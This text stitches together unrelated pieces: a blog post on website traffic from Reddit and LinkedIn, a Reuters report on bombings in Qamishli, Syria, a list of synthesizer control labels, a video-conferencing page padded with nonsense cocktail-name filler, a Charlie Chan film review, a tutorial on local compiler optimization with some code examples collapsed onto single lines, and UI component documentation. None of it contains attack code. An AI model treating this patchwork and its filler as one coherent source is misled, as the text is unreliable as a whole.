In a highly active online community with a group of users binded by a commonality, there tend to be vocal members. I saw this firsthand from the number of direct visits I got to my site - surprisingly, out of the 198 sessions in the first five days I created my post, 105 were through direct traffic and 93 through referral (the Reddit post that had the link to my secret site).
A post such as mine that had a niche message targeting an engaged audience allowed the word to spread. I’m sure members of the subreddit felt strongly about the content and therefore shared it with others, resulting in a greater level of organic over referral traffic. It comes to show the power of niches, for while they won’t capture the attention of the great majority of people, the users that they do get on board are already highly engaged with the power to create momentum.
Building a brand through LinkedIn
see analytics hereRepetition, repetition, repetition. It takes a while for people to come to recognize something, and I made sure to keep driving the message of my personal brand by promoting my website, linking it in my relevant posts. While the results have been mixed, there are a few best practices I’ve come across:
To become known, there must be a point of differentiation. In an effort to be creative in my posts with links, I’ve learned to either write in my posts either one a strong one-sentence statement followed by the link or a long-form text post, putting the link in the first comment of the post. Either received far more positive reception that simply a link without any text at all, one devoid of any user statements. The key to the one-liners was strength, for it serves as a hook to grab the viewer’s attention to then find out more information in the links. For the longer post, it’s a way of telling a story, to paint a picture while still leaving more to be explored in the link. By ensuring my point of view was made explicit in my LinkedIn posts that linked to my website, I kept providing previews to the viewer of what I was about.
All in all, it takes patience, perseverance, and personality to capture an audience on the web. It took time for both of my sites to rank higher on Google’s search and gain more visibility. It required repeated exposure to my content for my personal website to get repeat visitors (as seen in the big difference from my other site). And a memorable site name helps a great deal - my site is called leolu.info which makes it concise and to the point.


Bomb attacks kill five, injure dozens in Syria's Qamishli: forces
BEIRUT (Reuters) - Three bombs exploded in Qamishli in northeast Syria on Monday, killing five people and wounding 26 in the city, which is largely-controlled by Kurdish fighters, security forces said.
Two cars and a rigged motorcycle exploded near a cafe and a church, a statement from the region’s security forces said. The wounded included four security force members, it said, describing the blasts as a “terrorist operation”.
With the Kurdish YPG militia at its forefront, the Syrian Democratic Forces (SDF) defeated Islamic State across much of north and east Syria with U.S. help.
A series of bomb attacks have struck towns and villages in northern Syria in the past year, including in the SDF region.

Ankara launched its incursion last month into northeast Syria to target the YPG, after President Donald Trump’s decision to move U.S. troops out of the way. Turkey deems the YPG a threat linked to a decades-long Kurdish insurgency at home.


FM Percussion Synthesis
Tone 1
Modulator
Sine
Triangle
Sawtooth
Pulse
Decay Time
Peak Value
End Value
Exponential
Modulator Depth
Decay Time
Peak Value
End Value
Exponential
Carrier
Sine
Triangle
Sawtooth
Pulse
Decay Time
Peak Value
End Value
Exponential
Filter
Lowpass
Highpass
Bandpass
Q
Decay Time
Peak Value
End Value
Exponential
Level
Decay Time
Peak Value
Exponential
Tone 2
Modulator
Sine
Triangle
Sawtooth
Pulse
Decay Time
Peak Value
End Value
Exponential
Modulator Depth
Decay Time
Peak Value
End Value
Exponential
Carrier
Sine
Triangle
Sawtooth
Pulse
Decay Time
Peak Value
End Value
Exponential
Filter
Lowpass
Highpass
Bandpass
Q
Decay Time
Peak Value
End Value
Exponential
Level
Decay Time
Peak Value
Exponential
Noise
Generator
Block Size
Filter
Lowpass
Highpass
Bandpass
Q
Decay Time
Peak Value
End Value
Exponential
Level
Decay Time
Peak Value
Exponential
Output
Gain
Trigger (t)


Connect
Enjoy the Connected Experience with Lifesize Cloud from your browser.
Call
Meet
Rum swizzle dufftown polish martini. Caridan wolfram gibbon, patron, planter's punch glenkinchie irish coffee appletini glen ord.
[Local number] [Local toll free number] Extension: xxxxxx
[IP address] Extension: xxxxxx (IP address##extension)
Enhance
Download
Get the app for a fully-featured HD video experience. Download the Lifesize Cloud app to your laptop or mobile device.


CASTLE IN THE DESERT (director/writer: Harry Lachman; screenwriter: John Larkin; cinematographer: Virgil E. Miller; editor: John Brady; cast: Charlie Chan (Sidney Toler), Sen Yung (Jimmy Chan), Arleen Whelan (Brenda Hartford), Richard Derr (Carl Detheridge), Douglass Dumbrille (Paul Manderley), Henry Daniell (Watson King), Edmund MacDonald (Walter Hartford), Lenita Lane (Lucrezia 'Lucy' Manderley), Ethel Griffies (Lily, Mme. Saturnia), Lucien Littlefield (Prof. Gleason), Milton Parsons (Arthur Fletcher), Steven Geray (Dr. Retling); Runtime: 62; 20th Century Fox; 1942)
Reviewed by Dennis Schwartz
This was the last of the Chan series put out by Twentieth Century Fox. The poverty row studio Monogram Pictures picked the series up for the remaining episodes and the quality diminished.
The Manderley castle is set in the isolated Mojave desert, where the historian scholar and recluse, Paul Manderley (Dumbrille), who covers half of his face because of a scar, lives with his wife Lucy (Lane).
When one of the castle guests, Prof. Gleason (Littlefield), is offered a drink of wine by Lucy, who is related to the famous Borgia accused of being a poisoner, he suddenly falls dead. The family physician, Dr. Retling (Geray) says he was poisoned. The ill-tempered Manderley is upset that this will bring about unwelcome attention to his family name and one of the conditions of keeping this vast estate, is that there should be no scandal. His lawyer, Walter Hartford (MacDonald), suggests they cover-up the death as a heart attack.
Charlie Chan (Toler) receives a letter from Lucy inviting him to come alone to the castle, because she fears for her life. When he arrives, she tells him that she never sent the letter. But when Charlie tries to leave, the car distributor is stolen and Charlie is marooned with the other guests in the 16th century castle that has no telephone or modern conveniences.
The other guests are the famous sculptor Watson King (Daniell); the medieval historian Carl Detheridge (Derr); Brenda Hartford (Whalen), the attractive wife of Walter. There are also three intruders: Jimmy Chan (Yung) comes to warn pop he received a threatening letter; a fortune teller who follows the stars, Mme. Saturnia (Griffies), comes with Jimmy to make predictions of who is to die; and, an intruder, Fletcher (Parsons), posing as a hunter, but his lie is uncovered and he reveals himself as a private detective. Fletcher will also supposedly die when drinking a glass of wine Lucy gives him.
The film has many plot twists and the usual Chan setup for the mystery story to unfold. But the story is far-fetched and tries too hard to be mysterious, which causes it to falter in credibility. But the desert atmosphere of the 16th-century castle, the usual comic antics of number two son, and all the suspects moving cautiously around the dark corners of the castle, should please Charlie Chan fans and give them their usual thrills.
My favorite film quote is from Charlie Chan: " Man who fears death, dies a thousand times."
REVIEWED ON 8/6/2001 GRADE: C+
Dennis Schwartz: "Ozus' World Movie Reviews"
http://www.sover.net/~ozus
<EMAIL_ADDRESS>© ALL RIGHTS RESERVED DENNIS SCHWARTZ
========== X-RAMR-ID: 29028 X-Language: en X-RT-ReviewID: 241806 X-RT-TitleID: 1003738 X-RT-SourceID: 873 X-RT-AuthorID: 1315 X-RT-RatingText: C+
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


A previous aricle of this course was entirely devoted to an overview of Optimization in Compilers. Reading that article is a clear prerequisite for this one (see the references at the end).
We did study the following concepts:
- What Compilers optimize.
- When Compilers optimize, that is, at which point in the compilation process.
- Where they optimize, that is, what parts of the code.
In this article I want to study How Compilers Optimize source code. Let me start with an overview and the whole concept, and then go into many practical examples.
A Bag of Tricks
The first thing to know about Optimization in Compilers is that the whole module is like a bag full of tricks.
What does that mean? Basically, the Compilers will take repeated looks at the code and do the following:
- Search in the bag any trick that can be applied.
- If applied at least one trick, start over from step 1.
- Otherwise exit.
The other point worth remembering is that the code the Compilers is looking at while doing Optimization is very likely an Intermediate Code as you know from my past articles. To the best of my knowledge, there’s no Compiler that does that directly on the original source code.
On the one hand, I am going to illustrate and discuss with you many examples drawn from this bag of tricks.
On the other hand, it’s not possible to explore all tricks in the bag, because there’s no limit to them. In fact, Optimization is a very active research field, and new advanced techniques are discovered every now and again.
Now let’s begin exploring some Optimization technique, starting from Local Optimization.
Local Optimization
Techniques that belong to the Local Optimization “bag” focus on optimizing one single basic block. Citing from my previous article:
A basic block of code is a sequence of instructions without any label, except possibly for the first line, and without any jump, except possibly for the last line.
The idea is that a basic block is a piece of code whose execution is completely predictable. There’s no entry point for other parts of the code (except for the first line, maybe), and there’s no exit point (except maybe for a final jump). Therefore, we know what’s going to happen there, and we can optimize its behavior.
Let’s start with some simple cases.
Remove statements
Sometime we can delete an entire statement. For instance in the following code
x := x + 0
x := x * 1
the two statements above can simply be removed. Removing one statement is one of the best optimization you can do, in terms of performances.
If you think this is a very unlikely case, or an odd example, you are wrong!
The reason is that, even though nobody would explicitly write x + 0
, sometimes you have an expression such as x + y
and the Compiler is able to infer that y
will always be zero at that point in the program.
Consider that y
may actually be a complex nested expression, and the Compiler is smarter than the programmer in figuring out this sort of things.
Simplify statement
A basic example is the following line
x := x*0
that can be simplified into
x := 0
which is obviously more efficient. Another example:
y := y^2
can be simplified into
y := y*y
This is always a good optimization to do, because in 99% of the machines, the power operator is not built-in the CPU capabilities, so its implementation would go down to a series of complex operation, maybe with an external library.
Another case is
z := z * 8
Which can be simplified into
z := z << 3 (bitwise shift)
This last example is likely to be more efficient, even though in modern machines the multiplication is as fast as the other operations, bitwise shift included.
Constant Folding
This is a very important technique. It’s absolutely worth knowing it.
The main point is that one of the most powerful optimizations we can perform is to compute the result of some operations at compile time. This is often possible when the operands are constant. For example, if we have
x := y op z
And y
, z
are both constant (immediate values), then we can compute the result at compile time and replace the instruction with an assignment to constant:
x := 2 + 3 ⇒ x := 5
The same concept applies to the predicate of a conditional statement. When we have
if (x < 2) jump L
and we are actually able to say that x
will always evaluate to some constant, then the entire if block can be:
- Deleted, if the condition always evaluates to false.
- Replaced with an unconditional jump, if the predicate is always true.
Danger!
There’s one uncommon case when constant folding is dangerous. Even though it’s unlikely, it’s very instructive.
Suppose we have two machines, X and Y, and we want to compile some code on machine X and then run the generated code in machine Y.
This scenario could happen when Y is a weak machine, for example some embedded system, and therefore is not suitable to develop code.
Now let’s assume that we have the operation a := 1.5 + 3.2
in the code and we want to constant fold it down to a := 4.7
.
When we do that at compile time, and we generate a code that contains the folded constant, we are actually taking a big risk, because the two architecture X and Y can be very different and can implement different ways to represent floating point numbers.
4.7
in the first machine can be 4.6999
in the second, and this approximation can propagate down to other operation and lead to inconsistent behaviors.
Cross-Compilers (Compilers designed to work in similar scenarios) take these situations very seriously and use instead the string representation of the number, and then perform all “constant folding” that are possible directly on that string. Eventually, they will let the specific architecture to translate that string into a number.
Eliminate Unreachable Basic Blocks
If there’s a basic block that can never be reached by the control flow then we can just delete it from the program.
This will not make the code faster (because that code will never be executed!), but it will make the program smaller, which can in turn make it faster because of some cache effect in the machine.
Even though this can seem like a weird case, it’s in fact quite common. Consider the snippet of C code
#define DEBUG 1
...
if (DEBUG) {
...
}
This sort of blocks is useful to have during the development of the program. Then, when we compile it for a release, we would change the definition to
#define DEBUG 0
The C-compiler would then automatically delete all if-blocks like that one, making the program smaller, and hence very likely more efficient.
Single-Assignment Form
Many optimizations strategies are easier to apply if the code is in single-assignment form. This means that each register is assigned only once. For example, the following code is not in single-assignment form
x := z+y
a := x
x := 2*x
``
because the register `x` is assigned twice. However, the code can be written in the following, equivalen, form
b := z+y a := b x := b*2
That's in single-assignment form.
In particular, we can make two more assumptions that can potentially lead to many more optimizations. Given a basic block, if
1. It's in single assignment form, and
2. A definition `x := ...` is the first use of `x` in the block,
then when two assignments have the same RHS (right-hand side), they must compute the same value.
Looking at an example will show the real power of these assumptions. Consider the code
x := y + z … w := y + z
In the "..." part of the code, the register x cannot be assigned, because the block is in single-assignment form (assumption 1). Furthermore, the registers `y`, `z` cannot change either, because they are used to define `x` and that means they must have been defined before (assumption 2).
Therefore, we can rewrite the code as it follows:
x := y + z … w := x
This optimization is called **common sub-expression elimination**.
It's very important to understand the implication of the two assumptions we made about single-assignment form.
Consider that's very unlikely, if not impossible at all, that the original source code be in such a form. So, what's the point of assuming we have a code in that form?
The answer is, again, Intermediate Language. The Intermediate Language must be generated so that the two assumptions are fulfilled. This is always possible since we assume that the registers are infinite in the IL.
Another use of the single-assignment form is that everytime we see in a block the assignment `w := x`, then we can replace all subsequent usages of the register w with the register `x`. For example
b := z+y a := b x := a*2
Can be written as
b := z+y a := b x := b*2 ```
This optimization technique is called copy propagation.
The power of Local Optimization
Until now we have studied a few local optimization techniques that don’t seem very powerful.
Indeed, each of these tricks will not change dramatically the efficiency of a program, when is considered standalone.
The real power of Local Optimization lies in the combination of all these techniques. As explained in a previous section, the main idea of the whole Optimization module is to apply tricks in an iterative fashion, until no more tricks can be applied.
The key point of such a strategy, is that the successful application of one optimization tricks unblocks more tricks that couldn’t be applied before.
Thus, Local Optimization is like a waterfall that grows while it descends. At the beginning, a very few optimization techniques can be applied. But their application unblocks many more optimization opportunities that eventually lead to great performance improvement.
Summary
In this article we started studying more in depth how Compilers optimize the source code.
More specifically, we went into the nuts and bolts of Local Optimization, that is a set of optimization techniques meant to improve performance of a basic block of code.
Even though most local optimization techniques are simple tricks, their real power lies in their iterative application, that can unlock a great deal of improvement in the overall code. Every time even a single trick is applied, it can unblock many others that weren’t possible to apply before. This waterfall-effect produces great results.
At this point, is time to switch over to the next article, where we will be studying Optimization Part II.
References
My article Source Code Optimization in Compilers.
Alex Aiken’s class Compilers at Stanford University. Available as free MOOC online.


5. Components
5.1. Inherited
| Name | Description |
|---|---|
breadcrumb | Inherited from Bulma with minor extensions: https://bulma.io/documentation/components/breadcrumb/ |
dropdown | Inherited from Bulma with minor extensions: https://bulma.io/documentation/components/dropdown/ |
modal | Inherited from Bulma with style modifications: https://bulma.io/documentation/components/modal/ |
tabs | Inherited from Bulma with a style extension: https://bulma.io/documentation/components/tabs/ |
5.2. Tabs
A new style is added to Bulma styles with the .is-umokit
class.
5.3. Steps
Steps indicate progress about a complex process.
- Welcome
- Database
- User
- Theme
- Settings
- Complete
5.4. Modal
Modal title